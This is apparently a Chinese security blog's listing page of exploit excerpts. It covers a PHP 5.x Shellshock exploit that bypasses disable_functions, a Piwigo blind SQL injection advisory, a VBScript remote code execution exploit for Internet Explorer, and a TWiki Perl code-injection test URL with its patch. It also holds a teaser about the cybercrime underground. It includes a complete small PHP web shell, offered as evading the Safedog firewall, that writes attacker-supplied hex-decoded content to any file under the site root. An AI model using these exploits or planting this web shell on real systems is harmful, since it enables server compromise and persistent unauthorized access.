PHP 5.x - Bypass Disable Functions (via Shellshock)

老系统内容 bypass PHP Shell
约 171 字 预计阅读 1 分钟
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 <?php function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283 if(strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(".","data"); putenv("PHP_LOL=()
阅读全文

Piwigo <= v2.6.0 - Blind SQL Injection

老系统内容 Injection SQL
约 438 字 预计阅读 1 分钟
Piwigo <= v2.6.0 - Blind SQL Injection -------------------------------------------------------------------------------- From: Manuel Garcia Cardenas <advidsec () gmail com> Date: Wed, 12 Nov 2014 09:56:22 +0100 -------------------------------------------------------------------------------- ============================================= MGC ALERT 2014-001 - Original release date: January 12, 2014 - Last revised: November 12, 2014 - Discovered by: Manuel García Cárdenas - Severity: 7,1/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- Blind
阅读全文

【0day】win95 + ie3 - win10 + ie11 全版本IE浏览器远程代码执行漏洞

老系统内容 0day IE 代码 代码执行 浏览器 漏洞 远程
约 1049 字 预计阅读 3 分钟
alliedve.htm //* allie(win95+ie3-win10+ie11) dve copy by yuange in 2009. https://twitter.com/yuange75 http://hi.baidu.com/yuange1975 *// <!doctype html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > <head> </head> <body> <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "notepad.exe" end function </script> <SCRIPT LANGUAGE="VBScript"> dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0)
阅读全文

Remote Perl code execution with query string to debug TWiki plugins

老系统内容 bug exe Wiki
约 1021 字 预计阅读 3 分钟
影响版本： * TWiki-6.0.0 (TWikiRelease06x00x00) * TWiki-5.1.x (TWikiRelease05x01x00 to TWikiRelease05x01x04) * TWiki-5.0.x (TWikiRelease05x00x00 to TWikiRelease05x00x02) * TWiki-4.3.x (TWikiRelease04x03x00 to TWikiRelease04x03x02) * TWiki-4.2.x (TWikiRelease04x02x00 to TWikiRelease04x02x04) * TWiki-4.1.x (TWikiRelease04x01x00 to TWikiRelease04x01x02) * TWiki-4.0.x (TWikiRelease04x00x00 to TWikiRelease04x00x05) 测试方法： http://www.example.com/do/view/Main/WebHome?debugenableplugins=BackupRestorePlugin%3bprint("Content-Type:text/html\r\n\r\nVulnerable!")%3bexit 修复方式： twiki/lib/TWiki/Plugins.pm Patch to sanitize the 'debugenableplugins' parameter: =======( 8>< CUT )=============================================== --- TWiki/Plugins.pm.save1 2014-01-09 02:10:56.000000000 -0500 +++ TWiki/Plugins.pm 2014-10-01 20:30:36.000000000 -0400
阅读全文

浅谈黑产

老系统内容 黑产
约 7106 字 预计阅读 15 分钟
首先up要说明一下，up只是因为好奇才去了解这个行业的，up不是大黑阔也不是手握无数0day的地下大牛，up只是一名学生狗。说实话up只能模
阅读全文

php绕过安全狗检测的小马分享

老系统内容 PHP 安全 安全狗 分享 狗 检测 绕过
约 1616 字 预计阅读 4 分钟
php绕过安全狗检测的小马分享 zph | 2014-08-28 15:10 直接上代码： <?php $p=realpath(dirname(__FILE__)."/../").$_POST["a"]; $t=$_POST["b"]; $tt=""; for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2)); @fwrite(fopen($p,"w"),$tt); echo "success!"; ?> 分析利用&过狗： <?php $p=realpath(dirname(__FILE__)."/../").$_POST["a"]; //定义$p为根目录的物理路径+$_PO
阅读全文